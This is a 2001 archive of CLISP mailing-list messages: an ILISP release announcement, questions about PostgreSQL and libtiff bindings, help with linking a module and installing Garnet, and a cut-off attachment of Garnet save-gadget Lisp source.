octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14yiPV-0000GI-00; Sat, 12 May 2001 16:02:53 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id TAA23445; Sat, 12 May 2001 19:01:14 -0400 Date: Sat, 12 May 2001 19:01:14 -0400 Message-Id: <200105122301.TAA23445@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: ilisp-list@lists.sourceforge.net CC: cmucl-help@cons.org, clisp-list@lists.sourceforge.net, lug@lisp.de, clocc-list@lists.sourceforge.net Subject: [clisp-list] ANNOUNCEMENT: ILISP 5.11 Released Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This is the official announcement of the availability of version 5.9 of ILISP, a comprehensive Inferior Lisp replacement for Emacs and XEmacs. ILISP official home is at http://ilisp.cons.org CVS support is in place at SourceForge (http://www.sourceforge.net/projects/ilisp). ILISP 5.11 can be downloaded from there. Instructions about subscribing to the mailing lists are also at Sourceforge. We encourage all the ILISP users to upgrade and to send feedback to the maintainers. This new release has been made possible by way too many people to risk missing any of them in an incomplete list. Thanks to you all. -- The ILISP Maintainers ========================================================= "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From marcoxa@cs.nyu.edu Sat May 12 16:04:57 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14yiRV-0000pa-00; Sat, 12 May 2001 16:04:57 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id TAA23463; Sat, 12 May 2001 19:03:18 -0400 Date: Sat, 12 May 2001 19:03:18 -0400 Message-Id: <200105122303.TAA23463@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: ilisp-list@lists.sourceforge.net CC: cmucl-help@cons.org, clisp-list@lists.sourceforge.net, lug@lisp.de, clocc-list@lists.sourceforge.net Subject: [clisp-list] ANNOUNCEMENT: ILISP 5.11 Released Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Of course the previous message contained a typo! :) ============================================================================== This is the official announcement of the availability of version 5.11 of ILISP, a comprehensive Inferior Lisp replacement for Emacs and XEmacs. ILISP official home is at http://ilisp.cons.org CVS support is in place at SourceForge (http://www.sourceforge.net/projects/ilisp). ILISP 5.11 can be downloaded from there. Instructions about subscribing to the mailing lists are also at Sourceforge. We encourage all the ILISP users to upgrade and to send feedback to the maintainers. This new release has been made possible by way too many people to risk missing any of them in an incomplete list. Thanks to you all. -- The ILISP Maintainers ========================================================= "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From eric@ericdegroot.com Sun May 13 22:09:32 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14zAbq-0007t6-00 for ; Sun, 13 May 2001 22:09:31 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id WAA09268 for ; Sun, 13 May 2001 22:09:29 -0700 (PDT) Message-ID: <007401c0dc34$4911d750$4381fb18@CX417245D> From: "Eric de Groot" To: Date: Sun, 13 May 2001 22:11:05 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [clisp-list] CLisp + (Mysql or PostgreSQL)? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Is there anything available for CLISP to make it possible to work with MySQL or PostgreSQL? CMUCL has UncommonSQL(MaiSQL), has anyone tried porting this over? Thanks. -Eric From ola@cyberell.com Sun May 13 23:21:24 2001 Received: from ip212-226-128-170.adsl.kpnqwest.fi ([212.226.128.170] helo=arenal.cyberell.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 14zBjP-0006jC-00 for ; Sun, 13 May 2001 23:21:23 -0700 Received: (qmail 26503 invoked by uid 102); 14 May 2001 06:21:31 -0000 Date: Mon, 14 May 2001 09:21:31 +0300 From: Ola Rinta-Koski To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP on iPaq running Linux? Message-ID: <20010514092131.A26023@cyberell.com> References: <20010508133125.A27807@cyberell.com> <20010508193859.A19199@cyberell.com> <20010509103210.A28242@cyberell.com> <20010510122543.A7525@cyberell.com> <20010511101539.A17016@cyberell.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Fri, May 11, 2001 at 10:24:25AM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Fri, May 11, 2001 at 10:24:25AM -0400, Sam Steingold wrote: > > * In message <20010511101539.A17016@cyberell.com> > > * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?" > > * Sent on Fri, 11 May 2001 10:15:39 +0300 > > * Honorable Ola Rinta-Koski writes: > > In makemake, this fails to set it: > > if [ "$host_cpu" = arm -o $TSYS = acorn ] ; then > > cpu=arm > > fi > > > > because $host_cpu is 'armv4l'. > fixed. please do > $ cvs up src/makemake.in > and remake the Makefile. Still fails in the linker, with missing divu_3216_1616_ and mulu32_ > > I should note that I'm not actually compiling Clisp on a real iPaq, > > but rather on the public development machine set up by handhelds.org > > as skiffcluster[1-4].handhelds.org; they are used to make the > How can I get access to that machine? > (I don't want to create a project &c - to much hassle) You don't have to either - see http://www.handhelds.org/projects/skiffcluster.html -- Ola Rinta-Koski ola@cyberell.com Cyberell Oy +358 41 467 2502 Rauhankatu 8 C, FIN-00170 Helsinki, FINLAND www.cyberell.com From ola@cyberell.com Sun May 13 23:25:49 2001 Received: from ip212-226-128-170.adsl.kpnqwest.fi ([212.226.128.170] helo=arenal.cyberell.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 14zBng-00071B-00 for ; Sun, 13 May 2001 23:25:48 -0700 Received: (qmail 26557 invoked by uid 102); 14 May 2001 06:25:59 -0000 Date: Mon, 14 May 2001 09:25:59 +0300 From: Ola Rinta-Koski To: Eric de Groot Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLisp + (Mysql or PostgreSQL)? Message-ID: <20010514092559.C26023@cyberell.com> References: <007401c0dc34$4911d750$4381fb18@CX417245D> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <007401c0dc34$4911d750$4381fb18@CX417245D>; from eric@ericdegroot.com on Sun, May 13, 2001 at 10:11:05PM -0700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Sun, May 13, 2001 at 10:11:05PM -0700, Eric de Groot wrote: > Is there anything available for CLISP to make it possible to work with MySQL > or PostgreSQL? CMUCL has UncommonSQL(MaiSQL), has anyone tried porting this > over? Thanks. See http://www.chez.com/emarsden/downloads/ for a PostgreSQL interface usable from CLISP. -- Ola Rinta-Koski ola@cyberell.com Cyberell Oy +358 41 467 2502 Rauhankatu 8 C, FIN-00170 Helsinki, FINLAND www.cyberell.com From ted@foi.se Mon May 14 00:41:51 2001 Received: from custos.foi.se ([150.227.16.253] helo=mercur.foa.se) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14zCzG-0005wk-00 for ; Mon, 14 May 2001 00:41:50 -0700 Received: from truten.ffa.se (IDENT:root@truten.ffa.se [172.16.2.200]) by mercur.foa.se (8.9.3/8.9.3) with ESMTP id JAA24974; Mon, 14 May 2001 09:41:46 +0200 (MEST) Received: from foi.se (IDENT:ted@lorient.ffa.se [172.16.53.6]) by truten.ffa.se (8.10.0/8.9.3) with ESMTP id f4E7fie20647; Mon, 14 May 2001 09:41:44 +0200 Message-ID: <3AFF894B.6EA4D0AF@foi.se> Date: Mon, 14 May 2001 09:29:15 +0200 From: Daniel Tourde Organization: The Swedish Defence Research Agency, Aeronautics Division FFA X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.16-22 i686) X-Accept-Language: fr, en, sv MIME-Version: 1.0 To: sds@gnu.org, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp, rpm and added modules References: <3AFBC238.2ADED91F@foi.se> <3AFBF200.D778B366@foi.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi San, > this is strange. > > make creates 2 "clisp linking sets" > (== pair of lisp.run and lispinit.mem) > - "base" with the basic CL image and > - "full" with all the modules you specified on the configure command > line (--with-module=clx/new-clx &c). I think this is the point. My retired colleague added his modifications himself and I am almost convinced that he did not know or did not care about the possibilities of ./configure and make regarding the --with-module option He just typed: ./makemake --with-readline --with-nogettext --with-dynamic-ffi > Makefile From the results of make, he added by himself (according to what I put at the end of this email) the pieces of code he was interested in. I am just following his notes. I wanted to automatize the procedure and then to forget about it but it seems to be much more complicate than what I thought originally. > these two liking sets are installed in /usr/local/lib/clisp/base and > /usr/local/lib/clisp/full when you do "make install". > additionally, "make install" creates a driver executable "clisp" and > installs it as /usr/local/bin/clisp. the driver execs the right image > with the right options. Essentially it knows the installation defaults > and passes them to lisp.run. > > Thus after "./configure --build build" you can call clisp as > $ ./build/lisp.run -B ./build -I ./build/lispinit.mem > and after "make install" you can just use > $ clisp > > What does not work for you? > > > It seems that the make install phase modify the content of > > lispinit.mem and lisp.run somehow (This is what I guess, I am not even > > sure). I just want to install things, not to get them modified during > > the process... > > install does not modify anything. I know, that's the way it is supposed to be, so I don't really understand. I suppose that the install procedure do not take into account the following steps I must follow after the make procedure: 21. While still in src: clisp-link create-module-set cfun lfun.c cc -O -c cfun.c cd cfun ln -s ../cfun.o cfun.o 22. cd cfun Add the name cfun.o to the file_list in file ./cfun/link.sh. It should look like this: file_list="$file_list"' lfun.o cfun.o' 23. Make sure f2c is installed and that there is an f2c.h in /usr/include. Verify also that there is a library /usr/lib/libf2c.a 24. cd .. (=> Back to src) 25. Verify that the file clisp-link specifies the following libraries for loading fortran and math functions (usually around lines 88, 262 and 467): /usr/lib/libcfun.a -lf2c -lm If not, add them to the compile command 26. While still in src issue the commands ar r /usr/lib/libcfun.a cfun.o cp link.sh ./cfun base/lisp.run -M base/lispinit.mem -c lfun.lsp clisp-link add-module-set cfun base base+cfun base+cfun/lisp.run -M base+cfun/lispinit.mem -i lfun You will end up in Clisp. 27. While still in Clisp, type the Lisp commands, one at a time (load "comstart") (compile-file "psinit-ffi") (compile-file "psinit") (compile-file "net") (compile-file "smail") (bye) 28. Back in Unix, create a new core image (with all user functions loaded) by typing: clbfni (this will get you to Lisp), and while in Lisp: (saveinitmem) (exit) This is the procedure I must follow between make and make install and I wonder if it does not screw up somehow the result of the make install coz it is not a very orthodox method to add new functionalities... Maybe you have a better method, a more orthodox one to add functionalities into the main core of Clisp. Something I am not aware of, something that would make the make install procedure work for me (that is to say, produce the right clisp and the right lisp.run and lipinit.mem). Thanks in advance for any help. -- *********************************************************************** Daniel TOURDE E-mail : daniel.tourde@foi.se Tel : +46 8 55 50 43 44 FOI, Swedish Defence Research Agency; Aeronautics Division - FFA Dept. of Wind Energy and Aviation Environmental Research SE-172 90 Stockholm, Sweden Fax : +46 8 25 34 81 *********************************************************************** From dm@bomberlan.net Mon May 14 16:59:02 2001 Received: from bomberlan.net ([64.81.59.47] helo=ork.bomberlan.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14zSEv-0004rf-00 for ; Mon, 14 May 2001 16:59:01 -0700 Received: (from dm@localhost) by ork.bomberlan.net (8.9.3/8.9.3) id QAA06441; Mon, 14 May 2001 16:05:58 -0700 X-Authentication-Warning: ork.bomberlan.net: dm set sender to dm@bomberlan.net using -f MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15104.25814.5250.918713@ork.bomberlan.net> Date: Mon, 14 May 2001 16:05:58 -0700 To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.81 under Emacs 20.5.1 Reply-To: svref@yahoo.com From: Dave Morse Subject: [clisp-list] libtiff binding? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Anyone have a libtiff<->clisp binding I can use? From sds@gnu.org Tue May 15 07:32:19 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14zfs3-00083m-00 for ; Tue, 15 May 2001 07:32:19 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA15409; Tue, 15 May 2001 10:32:16 -0400 (EDT) X-Envelope-To: To: svref@yahoo.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] libtiff binding? References: <15104.25814.5250.918713@ork.bomberlan.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15104.25814.5250.918713@ork.bomberlan.net> Date: 15 May 2001 10:29:42 -0400 Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <15104.25814.5250.918713@ork.bomberlan.net> > * On the subject of "[clisp-list] libtiff binding?" > * Sent on Mon, 14 May 2001 16:05:58 -0700 > * Honorable Dave Morse writes: > > Anyone have a libtiff<->clisp binding I can use? we don't, but we would if you wrote one. :-) this is not too hard - I wrote one for PostgreSQL. look at the modules directory. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on "Complete Idiots Guide to Running LINUX Unleashed in a Nutshell for Dummies" From igc2@psu.edu Tue May 15 07:58:59 2001 Received: from f04s01.cac.psu.edu ([128.118.141.31] helo=f04n01.cac.psu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14zgHr-0002oF-00 for ; Tue, 15 May 2001 07:58:59 -0700 Received: from leopard (leopard.ist.psu.edu [130.203.129.166]) by f04n01.cac.psu.edu (8.9.3/8.9.3) with SMTP id KAA155342 for ; Tue, 15 May 2001 10:58:51 -0400 Message-ID: <003101c0dd4f$7157aca0$a681cb82@ist.psu.edu> From: "isaac councill" To: Date: Tue, 15 May 2001 10:58:03 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_002E_01C0DD2D.EA2C1C00" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Subject: [clisp-list] garnet install Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_002E_01C0DD2D.EA2C1C00 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello all, Thanks to the advice of Sam Steingold and Peter Wood, I now have a = working nclx on my system. Unfortunately, I still cannot get Garnet to = load properly. The people on the Garnet list have told me that the = garnet-loader.lisp file requires modification to work with clisp, but = couldn't tell me exactly what. Though I have been able to make = substantial progres (clisp loads about a third of the garnet files now, = up from zero), I simply don't know enough about clisp, or lisp for that = matter, to go the distance on this procedure. Does anyone out there use = garnet with clisp? If so, what did you do to install it? The roadblock = that I am stuck on is the error: *** -LISP: MAKE-ENCODING: illegal :OUTPUT-ERROR-ACTION argument 63548 This occurs upon the loading of a particular gadgets file, which I have = not altered. If anyone can translate this error message for me, that = would be quite helpful as well. I am loading garnet-prepare-compile.lisp with the command: clisp -K full -norc -i garnet-prepare-compile.lisp which works nicely at the start. Thanks, Isaac ------=_NextPart_000_002E_01C0DD2D.EA2C1C00 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello all,

Thanks to the advice = of Sam=20 Steingold and Peter Wood, I now have a working nclx on my system. =20 Unfortunately, I still cannot get Garnet to load properly.  The = people on=20 the Garnet list have told me that the garnet-loader.lisp file requires=20 modification to work with clisp, but couldn't tell me exactly = what.  Though=20 I have been able to make substantial progres (clisp loads about a third = of the=20 garnet files now, up from zero), I simply don't know enough about clisp, = or lisp=20 for that matter, to go the distance on this procedure.  Does anyone = out=20 there use garnet with clisp?  If so, what did you do to install = it? =20 The roadblock that I am stuck on is the error:
 
*** -LISP: MAKE-ENCODING: illegal=20 :OUTPUT-ERROR-ACTION argument 63548
 
This occurs upon the loading of a = particular=20 gadgets file, which I have not altered.  If anyone can translate = this error=20 message for me, that would be quite helpful as well.
    I am loading=20 garnet-prepare-compile.lisp with the command:
 
clisp -K full -norc -i=20 garnet-prepare-compile.lisp
which works nicely at the = start.
 
Thanks,
Isaac
 
------=_NextPart_000_002E_01C0DD2D.EA2C1C00-- From sds@gnu.org Tue May 15 08:16:10 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14zgYU-0005TY-00 for ; Tue, 15 May 2001 08:16:10 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA25072; Tue, 15 May 2001 11:16:04 -0400 (EDT) X-Envelope-To: To: "isaac councill" Cc: Subject: Re: [clisp-list] garnet install References: <003101c0dd4f$7157aca0$a681cb82@ist.psu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <003101c0dd4f$7157aca0$a681cb82@ist.psu.edu> Date: 15 May 2001 11:13:24 -0400 Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <003101c0dd4f$7157aca0$a681cb82@ist.psu.edu> > * On the subject of "[clisp-list] garnet install" > * Sent on Tue, 15 May 2001 10:58:03 -0400 > * Honorable "isaac councill" writes: > > The roadblock that I am stuck on is the error: > > *** -LISP: MAKE-ENCODING: illegal :OUTPUT-ERROR-ACTION argument 63548 > > This occurs upon the loading of a particular gadgets file, which I > have not altered. If anyone can translate this error message for me, > that would be quite helpful as well. I am loading > garnet-prepare-compile.lisp with the command: > > clisp -K full -norc -i garnet-prepare-compile.lisp do clisp -K full -norc -x '(load "garnet-prepare-compile.lisp" :print t)' to find out which form generates the error. if it's a load form, add ":print t" to it, as above. when you have the exact form which generates the error, please send it to clisp-list. Good luck! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on In C you can make mistakes, while in C++ you can also inherit them! From igc2@psu.edu Tue May 15 09:33:00 2001 Received: from f04s01.cac.psu.edu ([128.118.141.31] helo=f04n01.cac.psu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14zhkp-0000zY-00 for ; Tue, 15 May 2001 09:32:59 -0700 Received: from leopard (leopard.ist.psu.edu [130.203.129.166]) by f04n01.cac.psu.edu (8.9.3/8.9.3) with SMTP id MAA84232 for ; Tue, 15 May 2001 12:32:56 -0400 Message-ID: <003501c0dd5c$94f52f40$a681cb82@ist.psu.edu> From: "isaac councill" To: References: <003101c0dd4f$7157aca0$a681cb82@ist.psu.edu> Subject: Re: [clisp-list] garnet install Date: Tue, 15 May 2001 12:32:06 -0400 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0032_01C0DD3B.0D8FA2E0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_0032_01C0DD3B.0D8FA2E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit By commenting out the loading of offending files one at a time, I found that four files produce the exact same error. Interestingly, these are save-gadget.lisp, load-gadget.lisp, motif-save-gadget.lisp, and motif-load-gadget.lisp. When none of these files are loaded, garnet-loader.lisp loads everything else. Attached are the 4 problematic files. Thanks, Isaac ----- Original Message ----- From: Sam Steingold To: isaac councill Cc: Sent: Tuesday, May 15, 2001 11:13 AM Subject: Re: [clisp-list] garnet install > > * In message <003101c0dd4f$7157aca0$a681cb82@ist.psu.edu> > > * On the subject of "[clisp-list] garnet install" > > * Sent on Tue, 15 May 2001 10:58:03 -0400 > > * Honorable "isaac councill" writes: > > > > The roadblock that I am stuck on is the error: > > > > *** -LISP: MAKE-ENCODING: illegal :OUTPUT-ERROR-ACTION argument 63548 > > > > This occurs upon the loading of a particular gadgets file, which I > > have not altered. If anyone can translate this error message for me, > > that would be quite helpful as well. I am loading > > garnet-prepare-compile.lisp with the command: > > > > clisp -K full -norc -i garnet-prepare-compile.lisp > > do > > clisp -K full -norc -x '(load "garnet-prepare-compile.lisp" :print t)' > > to find out which form generates the error. if it's a load form, add > ":print t" to it, as above. > > when you have the exact form which generates the error, please send it > to clisp-list. > > Good luck! > > -- > Sam Steingold (http://www.podval.org/~sds) > Support Israel's right to defend herself! > Read what the Arab leaders say to their people on > In C you can make mistakes, while in C++ you can also inherit them! > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > http://lists.sourceforge.net/lists/listinfo/clisp-list > ------=_NextPart_000_0032_01C0DD3B.0D8FA2E0 Content-Type: application/octet-stream; name="save-gadget.lisp" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="save-gadget.lisp" ;;; -*- Mode: LISP; Syntax: Common-Lisp; Package: GARNETDRAW; Base: 10 = -*- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; The Garnet User Interface Development Environment. ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; This code was written as part of the Garnet project at ;;; ;;; Carnegie Mellon University, and has been placed in the public ;;; ;;; domain. If you are using this code or any part of Garnet, ;;; ;;; please contact garnet@cs.cmu.edu to be put on the mailing list. ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; This file contains the save gadget. The functions for this gadget ;;; can be found in the save-load-functions.lisp file. ;;; ;;; Designed and Implemented by Rajan Parthasarathy ;;; ;;; Change log: ;;; ;;; 05/05/94 Andrew Mickish - Added Mac directory form ".:" ;;; 01/30/93 Rajan Parthasarathy - s-value'd the :initialize slot ;;; 12/14/92 Andrew Mickish - Added type and parameter declarations ;;; 08/20/92 Andrew Mickish - Moved Save-Load-Gadget-Destroy to ;;; save-load-functions.lisp ;;; 06/26/92 Rajan Parthasarathy - Created ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (in-package "GARNET-GADGETS") (eval-when (eval load compile) (export '(SAVE-GADGET))) (create-instance 'SAVE-GADGET opal:aggregadget :declare ((:parameters :parent-window :window-title :window-left = :window-top :min-gadget-width :initial-directory :message-string :query-message :query-buttons :button-panel-items :button-panel-h-spacing :num-visible :check-filenames-p :modal-p :dir-input-field-font :dir-input-label-font :file-input-field-font :file-input-label-font :message-font :button-panel-font :file-menu-font :selection-function) (:type ((or (is-a-p inter:interactor-window) null) :parent-window) ((or null string) :window-title) (integer :window-left :window-top :button-panel-h-spacing) ((integer 0) :min-gadget-width :num-visible) (string :initial-directory :message-string) (list :button-panel-items :query-buttons) ((or null function symbol) :selection-function) ((or (is-a-p opal:font) (is-a-p opal:font-from-file)) :dir-input-field-font :dir-input-label-font :file-input-field-font :file-input-label-font :message-font :button-panel-font :file-menu-font)) (:maybe-constant :left :top :parent-window :window-title = :window-left :window-top :dir-input-field-font :dir-input-label-font :message-font :message-string :num-visible :file-menu-font :initial-directory :file-input-field-font :file-input-label-font :button-panel-items :button-panel-font :button-panel-h-spacing :min-gadget-width :modal-p :check-filenames-p :query-message :query-buttons)) ;;; Customizable slots (:LEFT 10) (:TOP 24) (:PARENT-WINDOW NIL) =20 ;; Slots for window customization (:WINDOW-TITLE "Save Window") (:WINDOW-LEFT (o-formula (if (gvl :parent-window) (floor (- (gvl :parent-window :width) (gvl :window :width)) 2) 0))) (:WINDOW-TOP (o-formula (if (gvl :parent-window) (floor (- (gvl :parent-window :height) (gvl :window :height)) 2) 0))) ;; Slots for dir-input customization (:DIR-INPUT-FIELD-FONT (opal:get-standard-font NIL NIL :small)) (:DIR-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL)) =20 ;; Slots for message customization (:MESSAGE-FONT (OPAL:GET-STANDARD-FONT :FIXED :ITALIC :SMALL)) (:MESSAGE-STRING "Fetching directory...") ;; Slots for file-menu customization (:NUM-VISIBLE 6) (:FILE-MENU-FONT (opal:get-standard-font NIL :BOLD NIL)) (:INITIAL-DIRECTORY #-apple "./" #+apple ":") =20 ;; Slots for file-input customization (:FILE-INPUT-FIELD-FONT (opal:get-standard-font NIL NIL :small)) (:FILE-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL)) =20 ;; Slots for button customization (:BUTTON-PANEL-ITEMS '("Save" "Cancel")) (:BUTTON-PANEL-FONT OPAL:DEFAULT-FONT) (:BUTTON-PANEL-H-SPACING 25) ;; Other slots (:MIN-GADGET-WIDTH 240) (:SELECTION-FUNCTION NIL) (:MODAL-P NIL) (:CHECK-FILENAMES-P T) (:QUERY-MESSAGE "Write over existing file?") (:QUERY-BUTTONS '("Write" "Abort")) =20 ;;; Non customizable slots (:save-gadget-p T) (:destroy #'Save-Load-Gadget-Destroy) (:type-of-query gg:query-gadget) (:parts `( =20 ;;; This is the box labeled "Directory" (:DIR-INPUT ,GARNET-GADGETS:SCROLLING-LABELED-BOX (:LEFT ,(o-formula (gvl :parent :left) 10)) (:TOP ,(o-formula (gvl :parent :top) 24)) (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240)) (:MIN-FRAME-WIDTH NIL) (:FIELD-FONT ,(o-formula (gvl :parent :dir-input-field-font))) (:FIELD-OFFSET 0) (:LABEL-OFFSET 5) (:LABEL-FONT ,(o-formula (gvl :parent :dir-input-label-font))) (:GROW-P T) (:LABEL-STRING "Directory:") (:VALUE ,(o-formula (directory-namestring (truename (gvl :parent :initial-directory))))) (:SELECTION-FUNCTION Update-File-Menu)) ;;; This is the scrolling menu with a list of files in it =20 (:FILE-MENU ,GARNET-GADGETS:SCROLLING-MENU (:TOGGLE-P NIL) 